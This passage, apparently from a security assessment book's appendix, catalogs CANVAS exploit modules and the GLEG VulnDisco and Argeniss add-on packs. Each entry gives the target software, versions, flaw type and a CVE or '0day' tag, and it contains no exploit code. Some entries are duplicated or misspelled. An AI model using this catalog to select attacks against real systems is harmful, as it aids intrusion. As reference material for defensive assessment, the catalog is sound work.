<tr>
<td>MYSQL HELLO</td>
<td>Microsoft SQL Server Hello stack overflow</td>
<td>CVE-2002-1123</td>
</tr>
<tr>
<td>RPC.TTDBSERVERD XDR. Array Heap Overflow</td>
<td>Solaris RPC ttdbserverd heap overflow</td>
<td>CVE-2002-0391</td>
</tr>
<tr>
<td>WINDOWS XP UPNP UPNPHOST.DLL CHTTPREQUEST::GETSERVERVARIABLE STACK OVERFLOW</td>
<td>Windows XP UPnP stack overflow</td>
<td>CVE-2007-1204</td>
</tr>
<tr>
<td>OPENSSL KEY_ARG_LEN OVERFLOW</td>
<td>OpenSSL SSL2 master key overflow</td>
<td>CVE-2002-0656</td>
</tr>
<tr>
<td>FIND_NULL_VNC</td>
<td>Find non-authenticated VNC servers</td>
<td>N/A</td>
</tr>
<tr>
<td>MYSQLRESOLVE</td>
<td>Microsoft SQL Server SSRS ping</td>
<td>N/A</td>
</tr>
<tr>
<td>DTPSCD</td>
<td>DTSPCD heap overflow</td>
<td>CVE-2001-0803</td>
</tr>
<tr>
<td>NORTON_UPX</td>
<td>Symantec client-side UPX overflow</td>
<td>CVE-2005-0249</td>
</tr>
<tr>
<td>MICROSOFT WINDOWS RPC INTERFACE OVERFLOW</td>
<td>Microsoft Windows RPC interface stack overflow</td>
<td>CVE-2003-0352</td>
</tr>
<tr>
<td>CA BRIGHTSTOR ARCSERVE BACKUP MEDIA SERVER RPC STACK OVERFLOW</td>
<td>CA BrightStor ARCServe Media Server RPC stack overflow</td>
<td>CVE-2007-2139</td>
</tr>
<tr>
<td>MS DNS RPC SERVER RPC REMOTE SYSTEM EXPLOIT</td>
<td>Microsoft DNS server RPC overflow</td>
<td>CVE-2007-1748</td>
</tr>
<tr>
<td>RDS DATASTORE</td>
<td>RDS.DataStore arbitrary object execution</td>
<td>CVE-2006-0003</td>
</tr>
<tr>
<td>WINS NAME VALIDATION STACK OVERFLOW</td>
<td>Microsoft WINS Name Validation stack overflow</td>
<td>CVE-2004-0567</td>
</tr>
<tr>
<td>NOVELL EDIRECTORY HTTPSTK.DLM OVERFLOW</td>
<td>Novell eDirectory HTTP stack overflow</td>
<td>CVE-2006-5478</td>
</tr>
<tr>
<td>3COMTFTP</td>
<td>3Com’s TFTP Server 2.0.1 mode field overflow</td>
<td>CVE-2006-6183</td>
</tr>
<tr>
<td>TREND MICRO SERVERPROTECT RPC OVERFLOW</td>
<td>Trend Micro ServerProtect service RPC overflow</td>
<td>CVE-2007-1070</td>
</tr>
<tr>
<td>SSL PCT HELLO STACK OVERFLOW</td>
<td>Microsoft SSL PCT stack overflow</td>
<td>CVE-2003-0719</td>
</tr>
<tr>
<td>MS06_040 - SRVSVC CANONICALIZE STACK OVERFLOW</td>
<td>Windows Server service stack overflow</td>
<td>CVE-2006-3439</td>
</tr>
<tr>
<td>WINGATE 6.1.1 REMOTE EXPLOIT</td>
<td>Wingate 6.1.1 stack overflow</td>
<td>CVE-2006-2926</td>
</tr>
<tr>
<td>MS_XMLCORE</td>
<td>Microsoft XML Core Services 4.0 overflow</td>
<td>CVE-2006-5745</td>
</tr>
<tr>
<td>MS06_070</td>
<td>Microsoft Workstation service overflow</td>
<td>CVE-2006-4691</td>
</tr>
<tr>
<td>SAVANT</td>
<td>Savant web server stack overflow</td>
<td>CVE-2005-0338</td>
</tr>
<tr>
<td>SUN LOGIN PAMH OVERFLOW</td>
<td>Solaris /bin/login overflow</td>
<td>CVE-2001-0797</td>
</tr>
<tr>
<td>APPLE QUICKTIME RTSP URL HANDLER OVERFLOW</td>
<td>Apple QuickTime RTSP URL handler stack overflow</td>
<td>CVE-2007-0015</td>
</tr>
<tr>
<td>CHFNESCAPE</td>
<td>Local privilege escalation via chfn escape character (Linux)</td>
<td>CVE-2002-0638</td>
</tr>
</tbody>
</table>
Table C-5. CANVAS exploit modules (continued)

<table>
<thead>
<tr>
<th>Name</th>
<th>Description</th>
<th>Reference</th>
</tr>
</thead>
<tbody>
<tr>
<td>WINPROXY</td>
<td>Blue Coat Winproxy stack overflow</td>
<td>CVE-2005-4085</td>
</tr>
<tr>
<td>EXCHANGE POP3 RCPT TO OVERFLOW</td>
<td>Kinesphere eXchange POP3 service stack overflow</td>
<td>CVE-2006-0537</td>
</tr>
<tr>
<td>MICROSOFT WINDOWS VML RECOLORINFO BUG</td>
<td>Microsoft VML recolorinfo bug</td>
<td>CVE-2007-0024</td>
</tr>
<tr>
<td>MICROSOFT WINDOWS NETDDE RPC OVERFLOW</td>
<td>Windows NetDDE RPC service stack overflow</td>
<td>CVE-2004-0206</td>
</tr>
<tr>
<td>LINKSYS _APPLY_CGI</td>
<td>Linksys WRT54G apply.cgi buffer overflow</td>
<td>CVE-2005-2799</td>
</tr>
<tr>
<td>IIS 5.0 WINDOWS MEDIA SERVICES ISAPI (NSISLOG.DLL) OVERFLOW</td>
<td>Microsoft IIS 5.0 Windows Media Services overflow</td>
<td>CVE-2003-0349</td>
</tr>
<tr>
<td>W3WHO.DLL STACK OVERFLOW</td>
<td>Microsoft IIS 5.0 w3who.dll stack overflow</td>
<td>CVE-2004-1134</td>
</tr>
<tr>
<td>RED</td>
<td>RPC rexd remote command execution</td>
<td>CVE-1999-0627</td>
</tr>
<tr>
<td>CA BRIGHTSTOR</td>
<td>CA BrightStor stack overflow</td>
<td>Unknown</td>
</tr>
<tr>
<td>WINDOWS ANIMATED CURSOR OVERFLOW</td>
<td>Windows animated cursor stack overflow</td>
<td>CVE-2007-0038</td>
</tr>
<tr>
<td>MSSQL (NULL) AUTH CONNECT</td>
<td>Microsoft SQL Server null password connection</td>
<td>N/A</td>
</tr>
<tr>
<td>YPBND PYPBNDPROC_DOMAIN STACK OVERFLOW</td>
<td>Solaris RPC ypbind stack overflow</td>
<td>CVE-2001-1328</td>
</tr>
<tr>
<td>IIS_DOUBLEDECODE</td>
<td>Microsoft IIS 5.0 double-decode exploit</td>
<td>CVE-2001-0333</td>
</tr>
<tr>
<td>MSSQL RESOLVER STACK OVERFLOW</td>
<td>Microsoft SQL Server 2000 SSRS overflow</td>
<td>CVE-2002-0649</td>
</tr>
<tr>
<td>ABYSS</td>
<td>Abyss web server overflow</td>
<td>CVE-2003-1337</td>
</tr>
<tr>
<td>REALSERVER2</td>
<td>Helix Universal Server 9.0.3 for Windows Content-Length header overflow</td>
<td>CVE-2004-0774</td>
</tr>
<tr>
<td>MSRPC MESSENGER HEAP OVERFLOW</td>
<td>Windows Messenger RPC service overflow</td>
<td>CVE-2003-0717</td>
</tr>
<tr>
<td>IIS 5.0 IPP ISAPI (.PRINTER) OVERFLOW</td>
<td>Microsoft IIS 5.0 IPP ISAPI overflow</td>
<td>CVE-2001-0241</td>
</tr>
<tr>
<td>MSDTC MIDL_USER_ALLOCATE BUG</td>
<td>MSDTC service MIDL_user_allocate( ) overflow</td>
<td>CVE-2005-2119</td>
</tr>
<tr>
<td>ORACLE BRUTE FORCE PASSWORD</td>
<td>Oracle brute-force password grinding module</td>
<td>N/A</td>
</tr>
<tr>
<td>MYSQL AUTHENTICATION BYPASS</td>
<td>Authentication bypass with zeroed-string password</td>
<td>CVE-2004-0627</td>
</tr>
<tr>
<td>LLSSRV LICENSE LOGGING SERVICE BUFFER OVERFLOW</td>
<td>Windows License Logging Service (LLSSRV) overflow</td>
<td>CVE-2005-0050</td>
</tr>
<tr>
<td>CMSD_XDRARRAY</td>
<td>Solaris RPC cmsd heap overflow</td>
<td>CVE-2002-0391</td>
</tr>
<tr>
<td>BLINDISAPI</td>
<td>Microsoft IIS ISAPI blind stack overflow brute-force tool</td>
<td>N/A</td>
</tr>
<tr>
<td>BLACKICE STACK OVERFLOW</td>
<td>BlackICE stack overflow</td>
<td>CVE-2004-0362</td>
</tr>
<tr>
<td>NPRINT 4.X REMOTE EXPLOIT</td>
<td>NPrint LPD overflow</td>
<td>CVE-2003-1141</td>
</tr>
<tr>
<td>RSYNC</td>
<td>Rsync heap overflow</td>
<td>CVE-2003-0962</td>
</tr>
<tr>
<td>GROUPWISE MESSENGER 2 BUFFER OVERFLOW</td>
<td>Novell GroupWise Messenger 2.0 Accept-Language overflow</td>
<td>CVE-2006-0992</td>
</tr>
<tr>
<td>MS EXCHANGE 2000 MS05-021 X-LINK2STATE HEAP OVERFLOW</td>
<td>Microsoft Exchange 2000 X-LINK2STATE heap overflow</td>
<td>CVE-2005-0560</td>
</tr>
<tr>
<td>SOLARIS LD_PRELOAD DEBUG EDITION</td>
<td>Solaris local privilege escalation</td>
<td>CVE-2003-0609</td>
</tr>
</tbody>
</table>
GLEG and Argeniss offer third-party add-on exploit packs for CANVAS, as follows.

**GLEG VulnDisco**

The list of current modules within the GLEG VulnDisco pack for CANVAS is as follows, taken from the pack description file distributed by GLEG. It is questionable how many of these issues are still zero-day and unpatched, as some of the modules have very similar descriptions to those found in MSF and CORE IMPACT.

**VulnDisco Pack Professional 7.1**

Please visit [http://www.gleg.net/vulndisco_pack_professional.shtml](http://www.gleg.net/vulndisco_pack_professional.shtml) for more info about VulnDisco Pack Professional.

<table>
<thead>
<tr>
<th>Name</th>
<th>Description</th>
<th>Reference</th>
</tr>
</thead>
<tbody>
<tr>
<td>SAM1FTP</td>
<td>Sami FTP USER command stack overflow</td>
<td>CVE-2006-2212</td>
</tr>
<tr>
<td>HEROES</td>
<td>Microsoft SNMP service remote overflow</td>
<td>CVE-2006-5583</td>
</tr>
<tr>
<td>EASYFILESHARING</td>
<td>Easy File Sharing FTP server PASS command overflow</td>
<td>CVE-2006-3952</td>
</tr>
<tr>
<td>PROCS</td>
<td>Linux 2.6.x procs local root exploit</td>
<td>CVE-2006-3625</td>
</tr>
<tr>
<td>CACHEFSD .CFS_MNT FILE STACK OVERFLOW</td>
<td>RPC cachedfs stack overflow, remotely exploitable via LPD (if accessible)</td>
<td>CVE-2002-0084</td>
</tr>
<tr>
<td>REALVNC_NOAUTH</td>
<td>Detect buggy authentication in RealVNC servers</td>
<td>CVE-2006-2369</td>
</tr>
<tr>
<td>SPOOLER</td>
<td>Windows Spooler service heap overflow</td>
<td>CVE-2005-1984</td>
</tr>
<tr>
<td>MERCUR IMAP 5.0 REMOTE BUFFER OVERFLOW</td>
<td>Mercur IMAP LOGIN overflow</td>
<td>CVE-2006-1255</td>
</tr>
<tr>
<td>TAPI STACK OVERFLOW</td>
<td>Windows TAPI service stack overflow</td>
<td>CVE-2005-0058</td>
</tr>
<tr>
<td>UTORRENT OVERFLOW</td>
<td>uTorrent announcement overflow</td>
<td>CVE-2007-0927</td>
</tr>
<tr>
<td>SNMPXDMID BUFFER OVERFLOW</td>
<td>Solaris RPC snmpXdmid overflow</td>
<td>CVE-2001-0236</td>
</tr>
<tr>
<td>SAMBA_TRANS2</td>
<td>Samba trans2 stack overflow</td>
<td>CVE-2003-0201</td>
</tr>
<tr>
<td>VERITAS_DECRYPT</td>
<td>Veritas Backup Exec stack overflow</td>
<td>CVE-2006-4128</td>
</tr>
<tr>
<td>WINS POINTER HIJACKING EXPLOIT</td>
<td>Windows WINS service pointer hijacking exploit</td>
<td>CVE-2004-1080</td>
</tr>
<tr>
<td>SL WEB SUPERVISOR</td>
<td>SL Web Supervisor HTTP Subversion stack overflow</td>
<td>CVE-2004-0356</td>
</tr>
<tr>
<td>PHP INCLUDE TEST</td>
<td>Poor input validation allows remote users to insert PHP code and execute commands</td>
<td>N/A</td>
</tr>
</tbody>
</table>

**CANVAS exploits:**

vd_ad - [Oday] Microsoft Active Directory remote DoS  
vd_arkelia - [Oday] Arkeia Backup Server stack overflow  
vd_av - [Oday] Multiple Vendor Anti-Virus DoS  
vd_avgtcp srv - [Oday] GRISOFT AVG TCP Server 1.3.3 DoS  
vd_avgtcp srv2 - [Oday] GRISOFT AVG TCP Server 1.3.3 DoS (II)  
vd_avira - [Oday] AVIRA AntiVir WebGate DoS  
vd_bitdefender - [Oday] BitDefender Antivirus heap overflow (trigger)
<table>
<thead>
<tr>
<th>Module</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>vd_brightstor</td>
<td>[0day] BrightStor ARserve Backup 11.5 DoS</td>
</tr>
<tr>
<td>vd_bsd</td>
<td>[0day] BSD kernel remote DoS (different from vd_freebsd)</td>
</tr>
<tr>
<td>vd_cache</td>
<td>[0day] InterSystems Cache' stack overflow exploit</td>
</tr>
<tr>
<td>vd_cache2</td>
<td>[0day] InterSystems Cache' stack overflow (trigger)</td>
</tr>
<tr>
<td>vd_casp</td>
<td>[0day] Sun ONE ASP engine overflow</td>
</tr>
<tr>
<td>vd_casp2</td>
<td>[0day] Sun ONE ASP exploit</td>
</tr>
<tr>
<td>vd_cg</td>
<td>[0day] CommuniGatePro Messaging Server 4.3.8 heap overflow</td>
</tr>
<tr>
<td>vd_cg2</td>
<td>[0day] CommuniGate Pro preauth remote DoS</td>
</tr>
<tr>
<td>vd_cg3</td>
<td>[0day] CommuniGate Pro 5.0.6 DoS (1)</td>
</tr>
<tr>
<td>vd_cg4</td>
<td>[0day] CommuniGate Pro 5.0.6 DoS (2)</td>
</tr>
<tr>
<td>vd_cg5</td>
<td>[0day] CommuniGate Pro 5.0.6 DoS (3)</td>
</tr>
<tr>
<td>vd_cg6</td>
<td>[0day] CommuniGate Pro 5.0.6 DoS (4)</td>
</tr>
<tr>
<td>vd_cg7</td>
<td>[0day] CommuniGate Pro 5.0.10 remote DoS</td>
</tr>
<tr>
<td>vd_cgbrute</td>
<td>Bruteforce default admin password of CommuniGate Pro Server</td>
</tr>
<tr>
<td>vd_clam</td>
<td>[0day] ClamAV 0.88.4 DoS</td>
</tr>
<tr>
<td>vd_cyrus</td>
<td>[0day] Cyrus imapd 2.2.x eatline() remote DoS</td>
</tr>
<tr>
<td>vd_directx</td>
<td>[0day] Symlabs Directory Extender 3.0 DoS</td>
</tr>
<tr>
<td>vd_directx2</td>
<td>[0day] Symlabs Directory Extender stack overflow</td>
</tr>
<tr>
<td>vd_dss</td>
<td>Darwin Streaming Proxy 5.5.5 DoS</td>
</tr>
<tr>
<td>vd_escan</td>
<td>[0day] Microworld eScan Anti-Virus exploit</td>
</tr>
<tr>
<td>vd_escan2</td>
<td>[0day] Microworld eScan Anti-Virus exploit</td>
</tr>
<tr>
<td>vd_eserv</td>
<td>[0day] Eserv/3 heap overflow</td>
</tr>
<tr>
<td>vd_ethereal</td>
<td>[0day] Ethereal heap overflow (proof of concept)</td>
</tr>
<tr>
<td>vd_exim</td>
<td>Exim 4.43 stack overflow (CAN-2005-0022)</td>
</tr>
<tr>
<td>extremail</td>
<td>[0day] extremail 2.x stack overflow</td>
</tr>
<tr>
<td>vd_fam</td>
<td>[0day] fam remote DoS</td>
</tr>
<tr>
<td>vd_fedora</td>
<td>[0day] Fedora Directory Server 7.1 remote DoS</td>
</tr>
<tr>
<td>vd_fedora2</td>
<td>[0day] trigger for Fedora Directory Server 1.0.2 double free bug</td>
</tr>
<tr>
<td>vd_fedora2</td>
<td>[0day] Fedora Directory Server 1.0.2 exploit</td>
</tr>
<tr>
<td>vd_fedora4</td>
<td>[0day] Fedora Directory Server 1.0.2 DoS</td>
</tr>
<tr>
<td>vd_firebird</td>
<td>[0day] trigger for Firebird 1.5.2 heap overflow</td>
</tr>
<tr>
<td>vd_fprot</td>
<td>[0day] F-PROT Antivirus for Linux overflow (trigger)</td>
</tr>
<tr>
<td>vd_fprot2</td>
<td>[0day] F-PROT Antivirus heap overflow</td>
</tr>
<tr>
<td>vd_freebsd</td>
<td>[0day] FreeBSD remote kernel panic (via nfsd)</td>
</tr>
<tr>
<td>vd_freesshd</td>
<td>[0day] FreeSSHD 1.0.9 overflow</td>
</tr>
<tr>
<td>vd_freesshd2</td>
<td>[0day] FreeSSHD 1.0.9 preauth DoS</td>
</tr>
<tr>
<td>vd_gnutls</td>
<td>[0day] trigger for Gnutls 1.2.9 overflow</td>
</tr>
<tr>
<td>vd_imsn</td>
<td>[0day] Ipswitch IMail imap4dj2.exe remote DoS</td>
</tr>
<tr>
<td>vd_imsn2</td>
<td>[0day] Ipswitch IMail stack overflow</td>
</tr>
<tr>
<td>vd_ingres</td>
<td>[0day] trigger for CA Ingres 'iidbms' overflow</td>
</tr>
<tr>
<td>vd_isode</td>
<td>[0day] Isode M-Vault 11.3 DoS</td>
</tr>
<tr>
<td>vd_isode2</td>
<td>[0day] Isode M-Vault 12.0v3 DoS</td>
</tr>
<tr>
<td>vd_kms</td>
<td>[0day] Kerio MailServer remote DoS</td>
</tr>
<tr>
<td>vd_kms2</td>
<td>[0day] Kerio MailServer remote DoS (postauth)</td>
</tr>
<tr>
<td>vd_kms3</td>
<td>[0day] Kerio MailServer heap overflow</td>
</tr>
<tr>
<td>vd_kms4</td>
<td>[0day] Kerio MailServer 6.x preauth DoS</td>
</tr>
<tr>
<td>vd_kms5</td>
<td>[0day] Kerio MailServer 6.1.3 remote exploit</td>
</tr>
<tr>
<td>vd_kms6</td>
<td>[0day] Kerio MailServer 6.2.2 DoS</td>
</tr>
<tr>
<td>vd_ldapinfo</td>
<td>Query interesting info from LDAP server</td>
</tr>
<tr>
<td>vd_linuxxsnmp</td>
<td>Linux kernel &lt; 2.6.16.18 ip nat snmp_basic DoS (PoC)</td>
</tr>
<tr>
<td>vd_lotus</td>
<td>[0day] Lotus Domino Server 6.5.4 NRPC remote DoS</td>
</tr>
<tr>
<td>vd_lotus2</td>
<td>[0day] Lotus Domino Server 6.5.4 nIMAP.exe stack overflow</td>
</tr>
<tr>
<td>vd_lotus3</td>
<td>[0day] Lotus Domino Server 6.5.4 nLDAP.EXE remote DoS</td>
</tr>
<tr>
<td>vd_lotus4</td>
<td>[0day] trigger for Lotus Domino Server 7.0 heap overflow</td>
</tr>
</tbody>
</table>
vd_lotus5 - [0day] IBM Lotus Domino 6.5.4 DoS
vd_lotus6 - [0day] trigger Lotus Domino Server 6.5.4 overflow
vd_lotus7 - IBM Lotus Domino Server 7.0.2 heap overflow (trigger)
LSASS.EXE remote DoS - [0day] LSASS.EXE remote DoS
vd_mailsite - [0day] MailEnable SMTP/POP3 DoS
vd_maxdb - [0day] MaxDB WebAgent stack overflow
vd_mcafee - [0day] McAfee E-Business Server 8.0 remote DoS
vd_mcafee2 - [0day] McAfee E-Business Server 8.1.0 heap overflow - TRIGGER
vd_mdaemon - [0day]Daemon remote DoS
vd_mdaemon2 - [0day] Daemon stack overflow
vd_mercury - [0day] Mercury 32 4.01b SMTP AUTH stack overflow
vd_miranda - [0day] Miranda IM MSN stack overflow (POC)
v_mysql - [0day] MySQL 4.1.x remote DoS
vd_mysql2 - [0day] MySQL 5.0.x stack overflow
vd_mysql3 - [0day] trigger for MySQL 5.0.x heap overflow
vd_mysql4 - [0day] MySQL 5.0.21 ipad() DoS
vd_networker - [0day] EMC Legato NetWorker Console DoS
vd_networker2 - [0day] trigger for EMC Legato NetWorker 7.3 heap overflow
vd_networker3 - [0day] EMC Legato NetWorker 7.3.1 DoS
vd_nfsaxe - [0day] NFSaxe 3.3 (NFS Server) DoS
vd_noticeware - [0day] NoticeWare EmailServer preauth remote DoS (via IMAP)
v_noticeware - [0day] NoticeWare EmailServer preauth remote DoS (2)
v_novell - [0day] Novell eDirectory 8.8 stack overflow
vd_novell2 - [0day] trigger for Novell eDirectory 8.8 double free vulnerability
vd_novell3 - [0day] Novell eDirectory 8.8 DoS
vd_openssl - [0day] OpenSSL DoS
vd_openssl2 - [0day] OpenSSL heap overflow
vd_openssl3 - [0day] trigger for OpenSSL heap overflow
vd_openldap - [0day] OpenLDAP 2.2.23 DoS
vd_openssl - [0day] OpenSSL DoS
vd_openssl2 - [0day] OpenSSL heap overflow
vd_openssl3 - [0day] trigger for OpenSSL heap overflow
vd_oracle - [0day] Oracle Application Server 10g R2 heap corruption(trigger)
v_oracle2 - [0day] Oracle Application Server 10g R2 heap corruption(trigger)
v_oracle3 - [0day] Oracle Application Server 10g R2 stack overflow
vd_oracle4 - [0day] Oracle Application Server 10g R2 DoS
vd_oracle5 - [0day] Oracle Application Server 10g R2 DoS
vd_oracle6 - [0day] Oracle Secure Backup DoS
vd_oracle7 - [0day] Oracle TimesTen 7.0.2 DoS
vd_openss3 - [0day] Panda Antivirus DoS
vd_peercast - [0day] trigger for PeerCast stack overflow
vd_php - [0day] PHP 5.0.3 DoS
vd_pragmafortress - [0day] Pragma Fortress SSH2 stack overflow
vd_proftpd - [0day] ProFTPD stack overflow
vd_proftpd2 - [0day] trigger for ProFTPD mod_tls preauth overflow
vd_radiant - [0day] RadiantOne Virtual Directory Server remote root
vd_radiusnt - [0day] RadiusNT 5.0.58 remote DoS
vd_realserver - [0day] RealServer DoS
vd_realserver2 - [0day] RealServer DoS (2)
vد realserver3 - [0day] trigger for RealServer 9.08 heap overflow
vd_realserver4 - [0day] Helix Server heap overflow (POC)
vد realserver5 - [0day] Helix Server DoS
vd_realserver6 - [0day] Helix Server 11.1 overflow (postauth)
vد realserver7 - Helix Server password brutefore
<table>
<thead>
<tr>
<th>Module</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>vd_realserver8</td>
<td>[0day] Helix Server heap overflow (trigger)</td>
</tr>
<tr>
<td>vd_samba</td>
<td>[0day] Samba 3.x stack overflow</td>
</tr>
<tr>
<td>vd_samba2</td>
<td>[0day] Samba 2.2.x heap overflow</td>
</tr>
<tr>
<td>vd_samba3</td>
<td>[0day] Samba 2.2.x stack overflow</td>
</tr>
<tr>
<td>vd_samba4</td>
<td>[0day] Samba 3.0.24 remote command injection (proof of concept)</td>
</tr>
<tr>
<td>vd_samba5</td>
<td>[0day] Samba 3.0.24 remote command execution (II)</td>
</tr>
<tr>
<td>vd_scan</td>
<td>Scans hosts on a network with VulnDisco modules</td>
</tr>
<tr>
<td>vd_scosnmpd</td>
<td>[0day] SCO OpenServer snmpd crash</td>
</tr>
<tr>
<td>vd_sidvaulv</td>
<td>[0day] SIDVault v2.0c DoS</td>
</tr>
<tr>
<td>vd_silcd</td>
<td>[0day] silcd 1.0 DoS (via null pointer dereference)</td>
</tr>
<tr>
<td>vd_solaris</td>
<td>[0day] Solaris remote kernel panic (via nfsd)</td>
</tr>
<tr>
<td>vd_squid</td>
<td>[0day] Squid Cache 3.0 DoS</td>
</tr>
<tr>
<td>vd_storix</td>
<td>Storix Backup Server 5.2.0.3 exploit</td>
</tr>
<tr>
<td>vd_sun</td>
<td>[0day] Sun ONE Directory Server 5.2 remote DoS</td>
</tr>
<tr>
<td>vd_sun2</td>
<td>[0day] trigger for Sun Directory Server 5.2 format string bug</td>
</tr>
<tr>
<td>vd_sun3</td>
<td>[0day] Sun Java System Web Proxy Server 4.0.3 overflow</td>
</tr>
<tr>
<td>vd_sun4</td>
<td>Sun Java System Web Proxy Server 4.0.3 exploit (POC)</td>
</tr>
<tr>
<td>vd_surgeftp</td>
<td>[0day] SurgeFTP 2.3a1 remote DoS</td>
</tr>
<tr>
<td>vd_surgemail</td>
<td>[0day] SurgeMail heap overflow</td>
</tr>
<tr>
<td>vd_symlabs</td>
<td>[0day] Symlabs Federated Identity Access Manager DoS</td>
</tr>
<tr>
<td>vd_symlabs2</td>
<td>[0day] Symlabs Federated Identity Access Manager DoS (2)</td>
</tr>
<tr>
<td>vd_tcpdump</td>
<td>[0day] TCPDUMP 3.9.1 BOOTP remote DoS</td>
</tr>
<tr>
<td>vd_tcpdump2</td>
<td>[0day] TCPDUMP 3.9.1 NFS remote DoS</td>
</tr>
<tr>
<td>vd_tivoli</td>
<td>[0day] IBM Tivoli Directory Server V6.0 remote DoS</td>
</tr>
<tr>
<td>vd_tivoli2</td>
<td>[0day] IBM Tivoli Directory Server 6.0 DoS</td>
</tr>
<tr>
<td>vd_tivoli3</td>
<td>[0day] IBM Tivoli Directory Admin Server 6.0 DoS</td>
</tr>
<tr>
<td>vd_tivoli4</td>
<td>[0day] IBM Tivoli Directory Server 6.0 DoS</td>
</tr>
<tr>
<td>vd_tpm</td>
<td>IBM Tivoli Provisioning Manager for OS Deployment stack overflow</td>
</tr>
<tr>
<td>vd_viruswall</td>
<td>[0day] Trend Micro InterScan VirusWall HTTP proxy DoS</td>
</tr>
<tr>
<td>vd_vms</td>
<td>[0day] VisNetic MailServer exploit</td>
</tr>
<tr>
<td>vd_wmailserver</td>
<td>Darsite wMailServer stack overflow</td>
</tr>
<tr>
<td>vd_worldmail</td>
<td>[0day] Qualcomm Eudora Worldmail 3.0 stack overflow</td>
</tr>
<tr>
<td>vd_worldmail2</td>
<td>[0day] QUALCOMM WorldMail 3.x preauth heap overflow</td>
</tr>
<tr>
<td>vd_worldmail1</td>
<td>[0day] Eudora WorldMail preauth DoS</td>
</tr>
<tr>
<td>vd_worldmail14</td>
<td>[0day] Eudora WorldMail 4.0 DoS</td>
</tr>
<tr>
<td>vd_xlink</td>
<td>[0day] XLink NFS (Omni-NFS) Server 4.2 overflow</td>
</tr>
<tr>
<td>vd_xlink2</td>
<td>[0day] XLink FTP Client stack overflow</td>
</tr>
<tr>
<td>xtcpacsd</td>
<td>[0day] xtcpacsd stack overflow</td>
</tr>
<tr>
<td>vd_xradius</td>
<td>[0day] xradiusd DoS</td>
</tr>
<tr>
<td>vd_zrm</td>
<td>[0day] Zmanda Recovery Manager 1.1.4 for MySQL remote root</td>
</tr>
</tbody>
</table>

Standalone exploits:

- fprot2.py - F-PROT AntiVirus DoS
- sav1.py - Sophos Anti-Virus DoS
- bitdefender1.py - BitDefender Antivirus DoS
- avirai.py - AVIRA AntiVir DoS
- nod1.py - NOD32 Antivirus DoS
- avg1.py - AVG Antivirus DoS
- fsav1.py - F-Secure Anti-Virus DoS
- dwebi.py - Dr.Web AntiVirus heap corruption
- dweb2.py - Dr.Web AntiVirus DoS
- fprot1.py - F-PROT AntiVirus heap overflow (trigger)
libwpd1.py - libwpd 0.8.8 heap overflow
fprot2.py - F-PROT AntiVirus heap overflow (trigger)
xine1.py - xine heap overflow (trigger)

**Argeiss Ultimate 0day Exploits Pack**

The list of current modules within the Argeiss ultimate 0day exploits pack for CANVAS is as follows, taken from the pack description file distributed by GLEG:

Gleg has acquired Argeiss Ultimate 0day Pack and is providing updates and support for this product. For more info visit http://gleg.net/argeiss_pack.shtml

Name: a.edirectory
Description: [0day] Novell eDirectory 8.7.3 SP9 DoS
Platform: Linux
Details: The exploit triggers memory corruption bug and crashes 'ndsd' process

Name: a.tivoli
Description: [0day] IBM Tivoli Directory 6.0 heap corruption (trigger)
Platform: Linux
Details: The exploit triggers memory corruption bug and crashes 'ibmdiradm' process

Name: a.streamingproxy
Description: [0day] Darwin Streaming Proxy DoS
Platform: Linux
Details: The exploit crashes StreamingProxy 5.5.5

Name: db2.lctype
Description: [Argeiss] IBM DB2 BUFFER OVERFLOW
Versions affected: DB2 8.1 prior fixpack 7a and DB2 8.2 prior fixpack 7a
Platform: Windows
Details: Buffer overflow vulnerability, exploit gives you a remote shell.

Name: db2jdbcDos
Description: [0day][Argeiss] Db2 jdbc DoS
Versions affected: <=8.2
Platform: Windows & Linux
Details: Denial of Service vulnerability, exploit causes jdbc service to crash.

Name: easerver_sybase
Description: [Argeiss] Easerver Sybase exploit
Versions affected: 5.0,5.1,5.2
Platform: Windows
Details: Buffer overflow vulnerability, exploit gives you a remote shell.

Name: Enterprise_manager_reporting_sql_inject
Description: [Argeiss]Reporting oracle applications Sql inject
Versions affected: Oracle 9i R2
Platform: All
Details: SQL Injection vulnerability, exploit gets Oracle user names and hashes.
Name: msexchg03
Description: [0day][Argeniss] MS Exchange 2003 Denial Of Service
Versions affected: MS Exchange 2003
Platform: Windows
Details: Denial of Service vulnerability, exploit causes Exchange service to consume all memory and stop responding.

Name: mssql_multi
Description: [0day][Argeniss] Microsoft SQL 2000 DENIAL: Multiprotocol service
Versions affected: SQL Server 2000
Platform: Windows
Details: Denial of Service vulnerability, exploit causes SQL Server service to consume all memory and stop responding or to crash, Windows OS could stop responding also.

Name: npfs
Description: [0day][Argeniss] NPFS DoS Against Windows Preauth
Versions affected: All Windows versions
Platform: Windows
Details: Denial of Service vulnerability, exploit causes Windows to not properly function while the exploit is being ran, in some cases it can cause Windows to crash.

Name: ora_bof_1
Description: [Argeniss] ORACLE 10g r1 Buffer overflow
Versions affected: Oracle 10gR1
Platform: Windows 2k, 2k3, Linux Red Hat 4(gcc 3.4.3),Ubuntu 5.04(gcc 3.3.5)
Details: Buffer overflow vulnerability, exploit gives you a remote shell.

Name: ora_bof_2
Description: [Argeniss] ORACLE 10g r1 Buffer overflow
Versions affected: Oracle 10gR1
Platform: Windows 2k, 2k3, Linux Red Hat 4(gcc 3.4.3),Ubuntu 5.04(gcc 3.3.5)
Details: Buffer overflow vulnerability, exploit gives you a remote shell.

Name: ora_bof_3
Description: [0day][Argeniss] ORACLE 10g r2 Buffer overflow
Versions affected: Oracle 10gR2
Platform: Windows 2k, (DoS on win2k3), Linux Red Hat 4(gcc 3.4.3),Ubuntu 5.04(gcc 3.3.5)
Details: Buffer overflow vulnerability, exploit gives you a remote shell.

Name: ora_bof_4
Description: [0day][Argeniss] ORACLE 10g r1 Buffer overflow
Versions affected: Oracle 10gR1
Platform: Windows 2k, 2k3, Linux Red Hat 4(gcc 3.4.3),Ubuntu 5.04(gcc 3.3.5)
Details: Buffer overflow vulnerability, exploit gives you a remote shell.

Name: ora_bof_5
Description: [0day][Argeniss] ORACLE 9i r2 Buffer overflow
Versions affected: Oracle 9iR2
Platform: Windows 2k, 2k3, Linux Red Hat 4(gcc 3.4.3),Ubuntu 5.04(gcc 3.3.5)
Details: Buffer overflow vulnerability, exploit gives you a remote shell.
Name: oracleftpDos
Description: [0day][Argeniss] Oracle XDB ftp DoS
Versions affected: Oracle 9iR2
Platform: Windows 2k, 2k3
Details: Denial of Service vulnerability, exploit causes XDB ftp service to stop responding.

Name: oracleftpDos2
